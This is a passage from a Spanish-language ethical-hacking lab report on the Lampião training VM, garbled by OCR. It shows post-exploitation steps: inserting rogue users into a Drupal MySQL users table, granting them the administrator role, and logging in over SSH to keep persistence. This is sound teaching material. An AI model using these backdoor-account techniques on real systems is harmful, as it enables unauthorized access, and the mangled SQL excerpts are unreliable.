la base de datos de la pagina web. Esto subraya la importancia de analizar por separado cada

servicio, ya que sus vulnerabilidades y configuraciones son independientes.

(=] % Lampido

« C @ 178.90.90.14

OffSec Kali Linux & Kali Tool Kali Docs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Home

‘ e Sorry, unrecognized username or password. Have you forgotten your password?

User | - o .
SRS Lampido, herdi ou vildo do Sertdo?

Username * Submitted by tiago on Thu, 04/19/2018 - 18:25

usuario2

Password *

® Create new account

* Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, passou a

Hustracion 20-Prueba de acceso con las nuevas credenciales
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3.20 Acceso y Modificacion de la Base de Datos

Luego de obtener control total del sistema, se logrd acceder a la base de datos MySQL que
gestiona el sitio web "Lampido". Esta accion permite manipular directamente los datos del portal,

incluyendo la tabla de usuarios.

En la captura se evidencian dos acciones clave:

1. Verificacion de la base de datos: Se ejecutdé un comando SQL para confirmar que la

base de datos del sitio web estaba activa.

2. Creacion de usuarios a nivel del sitio web: Se insertaron nuevos usuarios, usuariol y
usuario2, directamente en la tabla de usuarios de la base de datos. Esto es diferente a la
creacion de usuarios a nivel del sistema operativo. Al hacer esto, los nuevos usuarios
tienen credenciales validas para iniciar sesion en la pagina web, tal como si se hubieran

registrado de forma normal.
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mysql> SELECT AUTO_INCREMENT FROM information_schema.TABLES
— WHERE TABLE_SCHEMA = 'drupal’® AND TABLE_NAME = ‘users';

AUTO_INCREMENT

.
I
—_
I NULL
wecnanized sername
1

row in set (0.00

mysqgl> INSERT INTO ers (ui as status, created, access
init)
— VALUES (3 )}, "usuariol@ejemplo.com’,
_TIMESTAMP(), 2 it
Query OK, 1 row a

mysql> INSERT INTO users (ui amé a ai status, created, access,
init)
— VALUES ( . ), "usuarioc2@ejemplo.com’,

mysql> |

llustracion 21-Acceso y Modificacion de la Base de Datos

3.21 Verificacion Final de la Base de Datos

Para verificar que la inyeccion de usuarios en la base de datos fue exitosa, se ejecutd un comando
SQL para mostrar la tabla de usuarios del sitio web. La consulta SELECT uid, name, mail, status

FROM users ORDER BY uid; reveld lo siguiente:

o Usuarios existentes: La tabla contiene al usuario original tiago y otros, ademas de los

dos usuarios que se insertaron manualmente: usuariol y usuario2.

o Confirmacion de los datos: Se puede ver claramente que los nuevos usuarios tienen un
ID (uid), un nombre de usuario (name) y un correo electronico (mail), lo que confirma

que las entradas se crearon correctamente en la base de datos de Drupal.
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mysql> SELECT uid, name, mail, status FROM users ORDER BY uid;

-

[~
[l
a

name i | status

tiago | lampiao@lampiao.com |
Eder | eder@lampiao.com |
usuariol | usuariol@ejemplo.com |
usuario2 | usuario2@ejemplo.com |

S~SWONE=ES

o—— e o —

+
|
+
I |
|
|
|
|
+

- -
rows in set (0.00 sec)

+
I
+
I
I
I
|
I
+
5

mysql> [}

llustracion 22-Verificacion Final de la Base de Datos

3.22 Asignacion de Roles de Administrador en la Base de Datos

Para confirmar que los nuevos usuarios creados (usuariol y usuario2) tuvieran los maximos

privilegios en el sitio web, se modifico la base de datos para asignarles el rol de administrador.

En la captura, se ejecutaron dos comandos SQL:

1. INSERT INTO users_roles: Se insertaron los ID de los usuarios (3 para usuariol y 4
para usuario2) y el ID del rol de administrador (3) en la tabla users_roles, que es la que

vincula a los usuarios con sus privilegios.

2. SELECT u.uid, u.name, r.name as role_name: Esta consulta final verificd que la
accion anterior se realizo correctamente. La tabla de resultados muestra a usuariol y
usuario2 con el rol administrator, lo que significa que tienen control total sobre el sitio
web, incluyendo la capacidad de crear contenido, gestionar usuarios y cambiar la

configuracion.
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Este es el ultimo eslabon de la cadena de andlisis. Se demostrd que al obtener acceso al servidor,
se puede manipular la base de datos para obtener privilegios de administrador no solo en el

sistema operativo, sino también en la aplicacion web que el servidor aloja.

mysql> INSERT INTO users_roles (uid, rid) VALUES (3,
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: @ Warnings: @

SELECT u.uid, u.name, r.name as role_name
FROM users u

JOIN users_roles ur ON u.uid = ur.uwid
JOIN role r ON ur.rid = r.rid

WHERE u.uid IN (3, &);

—+

uid | name role_name
administrater
4dm1ﬂ15T ator

u5u411a1

.

I
"
I
| usuario?
.

+
I

b
I
I

b

i
I

-
I
I

N

I
+
I
I
+
2 rows in 8@ sec)

mysql> [}

llustracion 23-Asignacion de Roles de Administrador en la Base de Datos

3.23 Verificacion de Acceso con el Nuevo Usuario

Como ultimo paso, se probd la conexion al servidor SSH utilizando la cuenta usuario2 creada

durante la fase de post-explotacion.

e La captura muestra un inicio de sesion exitoso. El mensaje "Welcome to Ubuntu 14.04.5

LTS" confirma que el usuario se ha conectado al servidor.

o Esto valida la capacidad del investigador para mantener acceso al sistema con una cuenta

diferente a la original, una prueba clave para asegurar la persistencia.



INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO

gl usuario2@lampiao: ~
Archivo Acciones Editar Vista Ayuda

usuario2®178.90.90.14
usuario2®178.90.90.14"s password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.com/
System information as of Mon Sep 15 14:14:47 BRT 2025

System load: 0.0 Processes: 171

Usage of /: 7.5% of 19.07GB  Users logged in: 1

Memory usage: 27% IP address for eth@: 178.90.90.14
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '16.04.7 LTS' available.
Run ‘do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

usuario2@lampiao:~$ |

llustracion 24-Verificacion de Acceso con el Nuevo Usuario
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4. CONCLUSION

La realizacion de este laboratorio permitié comprender de forma practica como un sistema
informatico puede ser analizado y puesto a prueba para detectar posibles fallas de seguridad. A
través de cada etapa se evidencid la importancia de proteger los servidores, mantenerlos
actualizados y utilizar contrasefias seguras para evitar accesos no autorizados. Esta experiencia
demuestra que el hacking ético no busca dafiar, sino aprender y prevenir, ayudando a que las

organizaciones refuercen sus medidas de proteccion y garanticen la seguridad de su informacion.
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